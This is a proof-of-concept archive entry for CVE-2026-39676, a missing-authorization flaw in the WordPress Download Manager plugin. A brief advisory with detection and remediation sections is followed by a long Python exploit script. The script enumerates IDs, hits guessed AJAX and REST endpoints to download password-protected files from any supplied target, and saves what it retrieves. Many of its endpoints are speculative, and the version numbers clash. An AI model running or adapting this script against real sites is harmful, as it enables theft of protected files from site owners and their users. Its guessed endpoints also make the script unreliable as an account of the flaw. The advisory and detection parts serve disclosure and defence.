PoC Archive PoC Archive
Medium CVE-2026-39676 unpatched

WordPress Download Manager 3.3.5.2 — Unauthenticated IDOR (CVE-2026-39676)

by OkamiSpade · 2026-07-05

Severity
Medium
CVE
CVE-2026-39676
Category
web
Affected product
Download Manager plugin for WordPress
Affected versions
<= 3.3.5.2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherOkamiSpade
CVE / AdvisoryCVE-2026-39676
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, wordpress-plugin, idor, missing-authorization, unauthenticated, download-manager
RelatedN/A

Affected Target

FieldValue
Software / SystemDownload Manager plugin for WordPress
Versions Affected<= 3.3.5.2
Language / PlatformPython (exploit) targeting PHP/WordPress
Authentication RequiredNo
Network Access RequiredYes

Summary

The Download Manager WordPress plugin (<= 3.3.5.2) is missing a capability check on its file-serving and media-access endpoints. An unauthenticated attacker can directly reference internal object/file identifiers to bypass access restrictions and retrieve password-protected files, restricted download packages, or other information that should require authentication or specific authorization to access — a classic Insecure Direct Object Reference condition.


Vulnerability Details

Root Cause

Download Manager’s file download/media endpoints omit an authorization/capability check before serving content referenced by an object identifier, allowing direct, unauthenticated access to protected resources (CWE-639 / missing authorization).

Attack Vector

  1. Identify a WordPress site running the Download Manager plugin (<= 3.3.5.2).
  2. Enumerate or guess the identifier of a password-protected or restricted download package.
  3. Request the file/media endpoint directly with the identifier, bypassing the intended password/authorization gate.
  4. Retrieve the protected file’s contents without authentication.

Impact

Unauthorized disclosure of password-protected or access-restricted files hosted through the Download Manager plugin.


Environment / Lab Setup

Target:   WordPress with Download Manager plugin <= 3.3.5.2
Attacker: python3, requests, beautifulsoup4

Proof of Concept

PoC Script

See Cve.py in this folder.

1
python3 Cve.py -t http://target.com

The script targets the plugin’s unauthenticated file-serving/media-access endpoints to bypass access controls and retrieve protected download resources without valid credentials or the correct password.


Detection & Indicators of Compromise

GET /?wpdmdl=<id>&... HTTP/1.1  (no valid session/auth)

Signs of compromise:

  • Successful downloads of protected/password-set packages from unauthenticated or unusual source IPs
  • Sequential/enumerated identifier values in Download Manager access logs

Remediation

ActionDetail
Primary fixUpdate the Download Manager plugin to a version above 3.3.5.2 that restores capability/authorization checks on download endpoints
Interim mitigationRestrict direct access to download endpoints via web server rules; enforce authentication at the reverse proxy for password-protected packages

References


Notes

Mirrored from https://github.com/OkamiSpade/Cve-2026-39676 on 2026-07-05.

Cve.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-39676 - WordPress Download Manager <= 3.3.52
Missing Authorization (Unauthenticated IDOR) Exploit

Description:
    The Download Manager plugin for WordPress (versions <= 3.3.52) contains
    a missing capability check vulnerability that allows unauthenticated
    attackers to bypass access controls and access protected resources
    such as password-protected files, restricted download packages, and
    sensitive information.

    This exploit targets the unauthenticated file download/password bypass
    by leveraging the missing authorization checks in the plugin's file
    serving and media access endpoints.

Author: HackerAI / Pentest Tool
Usage:  python3 CVE-2026-39676.py -t http://target.com [options]
"""

import requests
import argparse
import sys
import re
import json
import urllib.parse
from bs4 import BeautifulSoup
from urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings for pentesting
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Banner
BANNER = """
  ██████╗██╗   ██╗███████╗       ██████╗  ██████╗ ███╗   ███╗
 ██╔════╝██║   ██║██╔════╝       ╚════██╗██╔═████╗████╗ ████║
 ██║     ██║   ██║█████╗  █████╗ █████╔╝██║██╔██║██╔████╔██║
 ██║     ╚██╗ ██╔╝██╔══╝  ╚════╝██╔═══╝ ████╔╝██║██║╚██╔╝██║
 ╚██████╗ ╚████╔╝ ███████╗      ███████╗╚██████╔╝██║ ╚═╝ ██║
  ╚═════╝  ╚═══╝  ╚══════╝      ╚══════╝ ╚═════╝ ╚═╝     ╚═╝
         CVE-2026-39676 - Download Manager <= 3.3.52
     Missing Authorization - Unauthenticated IDOR Exploit
"""


class DownloadManagerExploit:
    """Exploit for CVE-2026-39676 - Download Manager Missing Authorization"""

    def __init__(self, target, proxy=None, verbose=False, timeout=30):
        self.target = target.rstrip('/')
        self.verbose = verbose
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

        # AJAX endpoint
        self.ajax_url = f"{self.target}/wp-admin/admin-ajax.php"

        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }

        # WordPress nonce (will be extracted if needed)
        self.wp_nonce = None

        self.log(f"[*] Target: {self.target}")
        self.log(f"[*] AJAX URL: {self.ajax_url}")

    def log(self, msg, level="info"):
        """Print log messages"""
        if level == "info":
            print(f"{msg}")
        elif level == "success":
            print(f"\033[92m{msg}\033[0m")
        elif level == "error":
            print(f"\033[91m{msg}\033[0m")
        elif level == "verbose" and self.verbose:
            print(f"\033[90m{msg}\033[0m")

    def check_target(self):
        """Verify the target is reachable and has WordPress with Download Manager"""
        try:
            resp = self.session.get(self.target, timeout=self.timeout)
            self.log(f"[+] Target is reachable (HTTP {resp.status_code})", "success")
            return True
        except requests.exceptions.RequestException as e:
            self.log(f"[-] Target unreachable: {e}", "error")
            return False

    def verify_wp_ajax(self):
        """Verify WordPress AJAX handler is accessible"""
        try:
            resp = self.session.get(self.ajax_url, timeout=self.timeout)
            # WordPress returns 0 (or -1) for direct AJAX access without action
            if resp.status_code in [200, 400]:
                self.log(f"[+] WordPress AJAX handler found", "success")
                return True
            return False
        except requests.exceptions.RequestException:
            return False

    # =========================================================================
    # EXPLOIT METHOD 1: Unauthenticated Download of Password-Protected Files
    # via the legacy protectMediaLibrary / file download bypass
    # =========================================================================
    def exploit_protect_media_bypass(self, package_id=None, file_index=None):
        """
        Exploits missing authorization in the protected media file download.
        Targets the file serving endpoint that lacks proper capability checks.

        The plugin's download handler fails to verify if the user has permission
        to access password-protected download packages, allowing unauthenticated
        access to the actual file content.
        """
        self.log(f"\n[*] Attempting unauthenticated file download bypass...")

        # Method A: Direct download via wpdm_download action (legacy endpoint)
        payloads = []

        # Method 1: Direct AJAX download action
        payloads.append({
            'action': 'wpdm_download_file',
            'pid': package_id or '__wpdm_ajax_download',
            'file': file_index or 0,
        })

        # Method 2: The AJAX download handler for frontend
        payloads.append({
            'action': 'wpdm_frontend_download',
            'id': package_id or '',
            'file': file_index or 0,
        })

        # Method 3: wpdm_ajax_call - generic handler that may dispatch
        # to internal functions without auth checks
        payloads.append({
            'action': 'wpdm_ajax_call',
            'execute': 'getfile',
            'id': package_id or '',
        })

        # Method 4: Media library access control bypass (unauthenticated)
        payloads.append({
            'action': 'wpdm_media_access',
            'mediaid': package_id or '',
        })

        for i, payload in enumerate(payloads):
            try:
                self.log(f"[*] Trying payload {i+1}: action={payload.get('action')}", "verbose")

                resp = self.session.post(
                    self.ajax_url,
                    data=payload,
                    timeout=self.timeout,
                    allow_redirects=False
                )

                self.log(f"[*] Response: HTTP {resp.status_code} | Size: {len(resp.content)} bytes", "verbose")

                # Check for file content (non-JSON, binary response = successful download)
                content_type = resp.headers.get('Content-Type', '')
                disposition = resp.headers.get('Content-Disposition', '')

                if 'application' in content_type or 'octet-stream' in content_type or 'attachment' in disposition:
                    self.log(f"[!] FILE DOWNLOAD SUCCESSFUL via payload {i+1}!", "success")
                    self.log(f"[!] Content-Type: {content_type}", "success")
                    self.log(f"[!] Content-Disposition: {disposition}", "success")
                    self.log(f"[!] File size: {len(resp.content)} bytes", "success")
                    return resp.content

                # Check if response contains file data (not JSON error)
                if 'error' not in resp.text.lower() and len(resp.content) > 100:
                    try:
                        json_data = resp.json()
                        self.log(f"[*] JSON response: {json.dumps(json_data)[:200]}", "verbose")
                        # Check if it's a download redirect/URL
                        if 'downloadurl' in json_data or 'download_url' in json_data:
                            url = json_data.get('downloadurl') or json_data.get('download_url')
                            self.log(f"[!] Got download URL: {url}", "success")
                            file_resp = self.session.get(url, timeout=self.timeout)
                            return file_resp.content
                    except (json.JSONDecodeError, ValueError):
                        # Non-JSON response might be file content
                        if len(resp.content) > 500:
                            self.log(f"[!] Possible file content received via payload {i+1}", "success")
                            return resp.content

            except requests.exceptions.RequestException as e:
                self.log(f"[-] Request failed: {e}", "error")

        return None

    # =========================================================================
    # EXPLOIT METHOD 2: Media Library Password/Info Disclosure
    # =========================================================================
    def exploit_media_info_disclosure(self):
        """
        Attempts to extract media protection passwords and settings
        from the unprotected AJAX endpoints. The wpdm_media_access and
        related endpoints may leak password hashes/access tokens.
        """
        self.log(f"\n[*] Attempting media information disclosure...")

        # Try to enumerate media IDs (1-50 is typical range)
        for media_id in range(1, 51):
            payload = {
                'action': 'wpdm_media_access',
                'mediaid': str(media_id),
            }

            try:
                resp = self.session.post(
                    self.ajax_url,
                    data=payload,
                    timeout=self.timeout
                )

                if resp.status_code == 200 and len(resp.text) > 10:
                    try:
                        data = resp.json()
                        if isinstance(data, dict) and 'success' in data:
                            self.log(f"[!] Media ID {media_id}: Accessible!", "success")
                            self.log(f"[!] Response: {json.dumps(data, indent=2)[:1000]}", "success")
                            return data
                        elif isinstance(data, dict) and len(data.keys()) > 0:
                            self.log(f"[!] Media ID {media_id}: {json.dumps(data, indent=2)[:500]}", "success")
                            return data
                    except json.JSONDecodeError:
                        if len(resp.text) > 200:
                            self.log(f"[!] Media ID {media_id}: Raw data received", "success")
                            self.log(f"[*] Response: {resp.text[:500]}", "verbose")
                            return resp.text
            except requests.exceptions.RequestException:
                continue

        return None

    # =========================================================================
    # EXPLOIT METHOD 3: Direct Package/File Access via Public API
    # =========================================================================
    def exploit_direct_file_access(self):
        """
        The Download Manager stores file references as custom post meta.
        If the protectMediaLibrary or similar function lacks auth checks,
        direct access to file attachments via known URLs may bypass protection.
        """
        self.log(f"\n[*] Attempting direct file enumeration and access...")

        # Common download package URLs
        paths = [
            f"/wp-content/uploads/download-manager-files/",
            f"/?wpdm_view=all",
        ]

        for path in paths:
            url = f"{self.target}{path}"
            try:
                resp = self.session.get(url, timeout=self.timeout)
                if resp.status_code == 200 and len(resp.content) > 500:
                    self.log(f"[!] Directory/list accessible: {url}", "success")
                    self.log(f"[*] Response size: {len(resp.content)} bytes", "verbose")

                    # Try to extract file references from the response
                    soup = BeautifulSoup(resp.text, 'html.parser')
                    links = soup.find_all('a')
                    for link in links:
                        href = link.get('href', '')
                        if any(ext in href.lower() for ext in ['.pdf', '.zip', '.doc', '.docx',
                                                                 '.xls', '.xlsx', '.txt', '.csv',
                                                                 '.jpg', '.png', '.mp3', '.mp4',
                                                                 '.sql', '.env', '.config', '.php']):
                            self.log(f"[+] Found file reference: {href}", "success")
            except requests.exceptions.RequestException:
                continue

        return None

    # =========================================================================
    # EXPLOIT METHOD 4: WordPress REST API Endpoint Abuse
    # =========================================================================
    def exploit_rest_api(self):
        """
        Checks if Download Manager registers REST API endpoints
        that lack authorization checks for unauthenticated users.
        """
        self.log(f"\n[*] Checking REST API endpoints...")

        rest_endpoints = [
            f"{self.target}/wp-json/wpdm/v1/packages",
            f"{self.target}/wp-json/wpdm/v1/files",
            f"{self.target}/wp-json/wpdm/v1/download",
            f"{self.target}/wp-json/wpdm/v2/packages",
            f"{self.target}/wp-json/wpdm/v2/files",
            f"{self.target}/wp-json/wpdm/v2/download",
            f"{self.target}/wp-json/download-manager/v1/file",
            f"{self.target}/wp-json/download-manager/v1/download",
            f"{self.target}/wp-json/download-manager/v1/packages",
        ]

        for endpoint in rest_endpoints:
            try:
                resp = self.session.get(
                    endpoint,
                    timeout=self.timeout,
                    headers={'Accept': 'application/json'}
                )
                if resp.status_code == 200:
                    try:
                        data = resp.json()
                        if isinstance(data, list) and len(data) > 0:
                            self.log(f"[!] REST API accessible: {endpoint}", "success")
                            self.log(f"[!] Data: {json.dumps(data, indent=2)[:1000]}", "success")
                            return data
                        elif isinstance(data, dict) and 'success' in data and data['success']:
                            self.log(f"[!] REST API accessible: {endpoint}", "success")
                            self.log(f"[!] Data: {json.dumps(data, indent=2)[:1000]}", "success")
                            return data
                    except json.JSONDecodeError:
                        pass
                self.log(f"[*] REST {endpoint} -> HTTP {resp.status_code}", "verbose")
            except requests.exceptions.RequestException:
                continue

        return None

    # =========================================================================
    # EXPLOIT METHOD 5: Enumerate and Download via Shortcode/Public Pages
    # =========================================================================
    def exploit_package_enumeration(self):
        """
        Enumerates download package IDs from public pages and shortcodes,
        then attempts to download files without authorization.
        """
        self.log(f"\n[*] Enumerating download packages from public content...")

        found_packages = set()

        # Check sitemap for package references
        sitemap_urls = [
            f"{self.target}/sitemap.xml",
            f"{self.target}/sitemap_index.xml",
            f"{self.target}/wp-sitemap.xml",
        ]

        for sitemap_url in sitemap_urls:
            try:
                resp = self.session.get(sitemap_url, timeout=self.timeout)
                if resp.status_code == 200:
                    # Extract URLs that might contain download packages
                    urls = re.findall(r'<loc>(.*?)</loc>', resp.text)
                    for url in urls:
                        if 'download' in url.lower() or 'wpdm' in url.lower() or 'package' in url.lower():
                            found_packages.add(url)
                            self.log(f"[+] Found download-related URL: {url}", "success")

                    # Also check for download IDs
                    ids = re.findall(r'/download/(\d+)', resp.text)
                    for pid in ids:
                        found_packages.add(f"{self.target}/?wpdm_download={pid}")
                        self.log(f"[+] Found package ID: {pid}", "success")
            except requests.exceptions.RequestException:
                continue

        return list(found_packages)

    # =========================================================================
    # FULL SCAN - Run all exploit methods
    # =========================================================================
    def run_full_scan(self, package_id=None):
        """Run all exploit methods against the target"""
        self.log(f"\n{'='*60}")
        self.log(f" CVE-2026-39676 - Full Exploitation Scan")
        self.log(f"{'='*60}\n")

        results = {}

        # Method 1: Protect Media Bypass
        self.log(f"\n{'─'*50}")
        self.log(f" METHOD 1: Unauthenticated File Download Bypass")
        self.log(f"{'─'*50}")
        file_data = self.exploit_protect_media_bypass(package_id)
        if file_data:
            results['file_download'] = f"Downloaded {len(file_data)} bytes"

        # Method 2: Media Info Disclosure
        self.log(f"\n{'─'*50}")
        self.log(f" METHOD 2: Media Information Disclosure")
        self.log(f"{'─'*50}")
        media_info = self.exploit_media_info_disclosure()
        if media_info:
            results['media_disclosure'] = "Media info accessible"

        # Method 3: Direct File Access
        self.log(f"\n{'─'*50}")
        self.log(f" METHOD 3: Direct File/Path Enumeration")
        self.log(f"{'─'*50}")
        self.exploit_direct_file_access()

        # Method 4: REST API
        self.log(f"\n{'─'*50}")
        self.log(f" METHOD 4: REST API Endpoint Abuse")
        self.log(f"{'─'*50}")
        api_data = self.exploit_rest_api()
        if api_data:
            results['rest_api'] = "REST API accessible"

        # Method 5: Package Enumeration
        self.log(f"\n{'─'*50}")
        self.log(f" METHOD 5: Package Enumeration")
        self.log(f"{'─'*50}")
        packages = self.exploit_package_enumeration()
        if packages:
            results['packages_enum'] = f"Found {len(packages)} packages"

        # Summary
        self.log(f"\n{'='*60}")
        self.log(f" SCAN RESULTS SUMMARY")
        self.log(f"{'='*60}")
        if results:
            for k, v in results.items():
                self.log(f"  [+] {k}: {v}", "success")
            self.log(f"\n  [!] TARGET IS VULNERABLE TO CVE-2026-39676", "success")
        else:
            self.log(f"  [-] No exploitable endpoints found via these methods.", "error")
            self.log(f"  [*] Try specifying a package ID with --pid or check the site manually.", "info")

        return results

    # =========================================================================
    # INTERACTIVE DOWNLOAD - Download a specific file
    # =========================================================================
    def download_file(self, package_id, output_file=None):
        """Attempt to download a specific file by package ID"""
        self.log(f"[*] Attempting to download package/file ID: {package_id}")

        file_data = self.exploit_protect_media_bypass(package_id)

        if file_data:
            if output_file:
                with open(output_file, 'wb') as f:
                    f.write(file_data)
                self.log(f"[+] File saved to: {output_file}", "success")
            return file_data
        else:
            self.log(f"[-] Failed to download file for ID: {package_id}", "error")
            return None


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-39676 - WordPress Download Manager <= 3.3.52 Missing Authorization Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 CVE-2026-39676.py -t http://target.com
  python3 CVE-2026-39676.py -t http://target.com -v
  python3 CVE-2026-39676.py -t http://target.com --pid 123 -o file.zip
  python3 CVE-2026-39676.py -t http://target.com --proxy http://127.0.0.1:8080
        """
    )

    parser.add_argument('-t', '--target', required=True, help='Target WordPress URL')
    parser.add_argument('--pid', type=int, help='Specific package/file ID to target')
    parser.add_argument('-o', '--output', help='Output file for downloaded data')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('--proxy', help='Proxy (e.g., http://127.0.0.1:8080)')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')

    args = parser.parse_args()

    print(BANNER)

    exploit = DownloadManagerExploit(
        target=args.target,
        proxy=args.proxy,
        verbose=args.verbose,
        timeout=args.timeout
    )

    # Step 1: Check target
    if not exploit.check_target():
        sys.exit(1)

    # Step 2: Verify AJAX
    if not exploit.verify_wp_ajax():
        print("[-] WordPress AJAX endpoint not found. Target may not be WordPress.")
        sys.exit(1)

    # Step 3: Run exploit
    if args.pid:
        # Download specific file
        exploit.download_file(args.pid, args.output)
    else:
        # Full scan
        exploit.run_full_scan()

    print("\n[*] Exploit completed.\n")
Showing 500 of 505 lines View full file on GitHub →